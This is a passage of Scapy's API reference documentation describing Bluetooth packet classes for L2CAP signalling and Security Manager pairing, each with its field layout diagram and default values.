class scapy.layers.bluetooth.L2CAP_Credit_Based_Reconfigure_Request(_pkt, /, *, mtu=0, mps=0, dcid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L600-L604]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MTU              |              MPS              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DCID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

           Fig. L2CAP_Credit_Based_Reconfigure_Request            


L2CAP_Credit_Based_Reconfigure_Request fields






	mtu

	LEShortField

	0



	mps

	LEShortField

	0



	dcid

	LEShortField

	0















	
class scapy.layers.bluetooth.L2CAP_Credit_Based_Reconfigure_Response(_pkt, /, *, result=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L607-L614]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RESULT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

           Fig. L2CAP_Credit_Based_Reconfigure_Response           


L2CAP_Credit_Based_Reconfigure_Response fields






	result

	LEShortEnumField

	0















	
class scapy.layers.bluetooth.L2CAP_DisconnReq(_pkt, /, *, dcid=0, scid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L410-L413]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DCID             |              SCID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. L2CAP_DisconnReq                       


L2CAP_DisconnReq fields






	dcid

	LEShortField

	0



	scid

	LEShortField

	0















	
class scapy.layers.bluetooth.L2CAP_DisconnResp(_pkt, /, *, dcid=0, scid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L416-L422]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L421-L422]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DCID             |              SCID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. L2CAP_DisconnResp                      


L2CAP_DisconnResp fields






	dcid

	LEShortField

	0



	scid

	LEShortField

	0















	
class scapy.layers.bluetooth.L2CAP_EchoReq(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L425-L427]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. L2CAP_EchoReq                        


L2CAP_EchoReq fields






	data

	StrField

	b''















	
class scapy.layers.bluetooth.L2CAP_EchoResp(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L430-L432]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. L2CAP_EchoResp                        


L2CAP_EchoResp fields






	data

	StrField

	b''















	
class scapy.layers.bluetooth.L2CAP_Flow_Control_Credit_Ind(_pkt, /, *, cid=0, credits=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L565-L568]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              CID              |            CREDITS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. L2CAP_Flow_Control_Credit_Ind                


L2CAP_Flow_Control_Credit_Ind fields






	cid

	LEShortField

	0



	credits

	LEShortField

	0















	
class scapy.layers.bluetooth.L2CAP_Hdr(_pkt, /, *, len=None, cid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L289-L298]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |              CID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. L2CAP_Hdr                          


L2CAP_Hdr fields






	len

	LEShortField

	None



	cid

	LEShortEnumField

	0











	
payload_guess

	Possible sublayers:
ATT_Hdr, L2CAP_CmdHdr, SM_Hdr






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L294-L298]

	








	
class scapy.layers.bluetooth.L2CAP_InfoReq(_pkt, /, *, type=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L435-L439]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. L2CAP_InfoReq                        


L2CAP_InfoReq fields






	type

	LEShortEnumField

	0



	data

	StrField

	b''















	
class scapy.layers.bluetooth.L2CAP_InfoResp(_pkt, /, *, type=0, result=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L442-L449]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L448-L449]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |             RESULT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. L2CAP_InfoResp                        


L2CAP_InfoResp fields






	type

	LEShortField

	0



	result

	LEShortEnumField

	0



	data

	StrField

	b''















	
class scapy.layers.bluetooth.L2CAP_LE_Credit_Based_Connection_Request(_pkt, /, *, spsm=0, scid=0, mtu=0, mps=0, initial_credits=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L537-L543]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SPSM             |              SCID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MTU              |              MPS              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        INITIAL CREDITS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

          Fig. L2CAP_LE_Credit_Based_Connection_Request           


L2CAP_LE_Credit_Based_Connection_Request fields






	spsm

	LEShortField

	0



	scid

	LEShortField

	0



	mtu

	LEShortField

	0



	mps

	LEShortField

	0



	initial_credits

	LEShortField

	0















	
class scapy.layers.bluetooth.L2CAP_LE_Credit_Based_Connection_Response(_pkt, /, *, dcid=0, mtu=0, mps=0, initial_credits=0, result=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L546-L562]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DCID             |              MTU              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MPS              |        INITIAL CREDITS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RESULT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

          Fig. L2CAP_LE_Credit_Based_Connection_Response          


L2CAP_LE_Credit_Based_Connection_Response fields






	dcid

	LEShortField

	0



	mtu

	LEShortField

	0



	mps

	LEShortField

	0



	initial_credits

	LEShortField

	0



	result

	LEShortEnumField

	0















	
class scapy.layers.bluetooth.L2CAP_Move_Channel_Confirmation_Request(_pkt, /, *, icid=0, result=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L512-L516]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ICID             |             RESULT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

           Fig. L2CAP_Move_Channel_Confirmation_Request           


L2CAP_Move_Channel_Confirmation_Request fields






	icid

	LEShortField

	0



	result

	LEShortEnumField

	0















	
class scapy.layers.bluetooth.L2CAP_Move_Channel_Confirmation_Response(_pkt, /, *, icid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L519-L521]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ICID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

          Fig. L2CAP_Move_Channel_Confirmation_Response           


L2CAP_Move_Channel_Confirmation_Response fields






	icid

	LEShortField

	0















	
class scapy.layers.bluetooth.L2CAP_Move_Channel_Request(_pkt, /, *, icid=0, dest_controller_id=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L493-L496]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ICID             |DEST CONTROLLER|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. L2CAP_Move_Channel_Request                  


L2CAP_Move_Channel_Request fields






	icid

	LEShortField

	0



	dest_controller_id

	ByteField

	0















	
class scapy.layers.bluetooth.L2CAP_Move_Channel_Response(_pkt, /, *, icid=0, result=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L499-L509]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ICID             |             RESULT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. L2CAP_Move_Channel_Response                 


L2CAP_Move_Channel_Response fields






	icid

	LEShortField

	0



	result

	LEShortEnumField

	0















	
class scapy.layers.bluetooth.LowEnergyBeaconHelper[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2411-L2459]

	Bases: object

Helpers for building packets for Bluetooth Low Energy Beacons.

Implementers provide a build_eir() implementation.

This is designed to be used as a mix-in – see
scapy.contrib.eddystone and scapy.contrib.ibeacon for examples.


	
base_eir = [<EIR_Hdr  type=flags |<EIR_Flags  flags=general_disc_mode+br_edr_not_supported |>>]

	




	
build_advertising_report()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2436-L2447]

	Builds a HCI_LE_Meta_Advertising_Report containing this frame.


	Return type:

	scapy.bluetooth.HCI_LE_Meta_Advertising_Report










	
build_eir()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2425-L2434]

	Builds a list of EIR messages to wrap this frame.

Users of this helper must implement this method.


	Returns:

	List of HCI_Hdr with payloads that describe this beacon type



	Return type:

	list[scapy.bluetooth.HCI_Hdr]










	
build_set_advertising_data()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2449-L2459]

	Builds a HCI_Cmd_LE_Set_Advertising_Data containing this frame.

This includes the HCI_Hdr and HCI_Command_Hdr layers.


	Return type:

	scapy.bluetooth.HCI_Hdr














	
class scapy.layers.bluetooth.SM_Confirm(_pkt, /, *, confirm=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L877-L879]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            CONFIRM                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. SM_Confirm                          


SM_Confirm fields






	confirm

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.layers.bluetooth.SM_DHKey_Check(_pkt, /, *, dhkey_check=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L925-L927]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          DHKEY CHECK                          |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. SM_DHKey_Check                        


SM_DHKey_Check fields






	dhkey_check

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.layers.bluetooth.SM_Encryption_Information(_pkt, /, *, ltk=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L892-L894]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              LTK                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. SM_Encryption_Information                  


SM_Encryption_Information fields






	ltk

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.layers.bluetooth.SM_Failed(_pkt, /, *, reason=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L887-L889]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     REASON    |
+-+-+-+-+-+-+-+-+

                          Fig. SM_Failed                          


SM_Failed fields






	reason

	XByteField

	0















	
class scapy.layers.bluetooth.SM_Hdr(_pkt, /, *, sm_command=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L852-L854]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   SM COMMAND  |
+-+-+-+-+-+-+-+-+

                           Fig. SM_Hdr                            


SM_Hdr fields






	sm_command

	ByteField

	None











	
payload_guess

	Possible sublayers:
SM_Confirm, SM_DHKey_Check, SM_Encryption_Information, SM_Failed, SM_Identity_Address_Information, SM_Identity_Information, SM_Master_Identification, SM_Pairing_Request, SM_Pairing_Response, SM_Public_Key, SM_Random, SM_Signing_Information










	
class scapy.layers.bluetooth.SM_Identity_Address_Information(_pkt, /, *, atype=0, address=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L908-L911]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     ATYPE     |                    ADDRESS                    |
+-+-+-+-+-+-+-+-+                               +-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. SM_Identity_Address_Information               


SM_Identity_Address_Information fields






	atype

	ByteEnumField

	0



	address

	LEMACField

	None















	
class scapy.layers.bluetooth.SM_Identity_Information(_pkt, /, *, irk=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L903-L905]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              IRK                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. SM_Identity_Information                   


SM_Identity_Information fields






	irk

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.layers.bluetooth.SM_Master_Identification(_pkt, /, *, ediv=0, rand=b'\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L897-L900]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              EDIV             |              RAND             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. SM_Master_Identification                   


SM_Master_Identification fields






	ediv

	XLEShortField

	0



	rand

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.layers.bluetooth.SM_Pairing_Request(_pkt, /, *, iocap=3, oob=0, authentication=0, max_key_size=16, initiator_key_distribution=0, responder_key_distribution=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L857-L864]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IOCAP     |      OOB      | AUTHENTICATION|  MAX KEY SIZE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|INITIATOR KEY D|RESPONDER KEY D|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. SM_Pairing_Request                      


SM_Pairing_Request fields






	iocap

	ByteEnumField

	3



	oob

	ByteEnumField

	0



	authentication

	BitField  (8 bits)

	0



	max_key_size

	ByteField

	16



	initiator_key_distribution

	ByteField

	0



	responder_key_distribution

	ByteField

	0















	
class scapy.layers.bluetooth.SM_Pairing_Response(_pkt, /, *, iocap=3, oob=0, authentication=0, max_key_size=16, initiator_key_distribution=0, responder_key_distribution=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L867-L874]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IOCAP     |      OOB      | AUTHENTICATION|  MAX KEY SIZE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|INITIATOR KEY D|RESPONDER KEY D|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. SM_Pairing_Response                     


SM_Pairing_Response fields






	iocap

	ByteEnumField

	3



	oob

	ByteEnumField

	0



	authentication

	BitField  (8 bits)

	0



	max_key_size

	ByteField

	16



	initiator_key_distribution

	ByteField

	0



	responder_key_distribution

	ByteField

	0















	
class scapy.layers.bluetooth.SM_Public_Key(_pkt, /, *, key_x=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', key_y=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L919-L922]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             KEY X                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             KEY Y                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. SM_Public_Key                        


SM_Public_Key fields






	key_x

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	key_y

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.layers.bluetooth.SM_Random(_pkt, /, *, random=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L882-L884]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             RANDOM                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. SM_Random                          


SM_Random fields






	random

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.layers.bluetooth.SM_Signing_Information(_pkt, /, *, csrk=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L914-L916]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
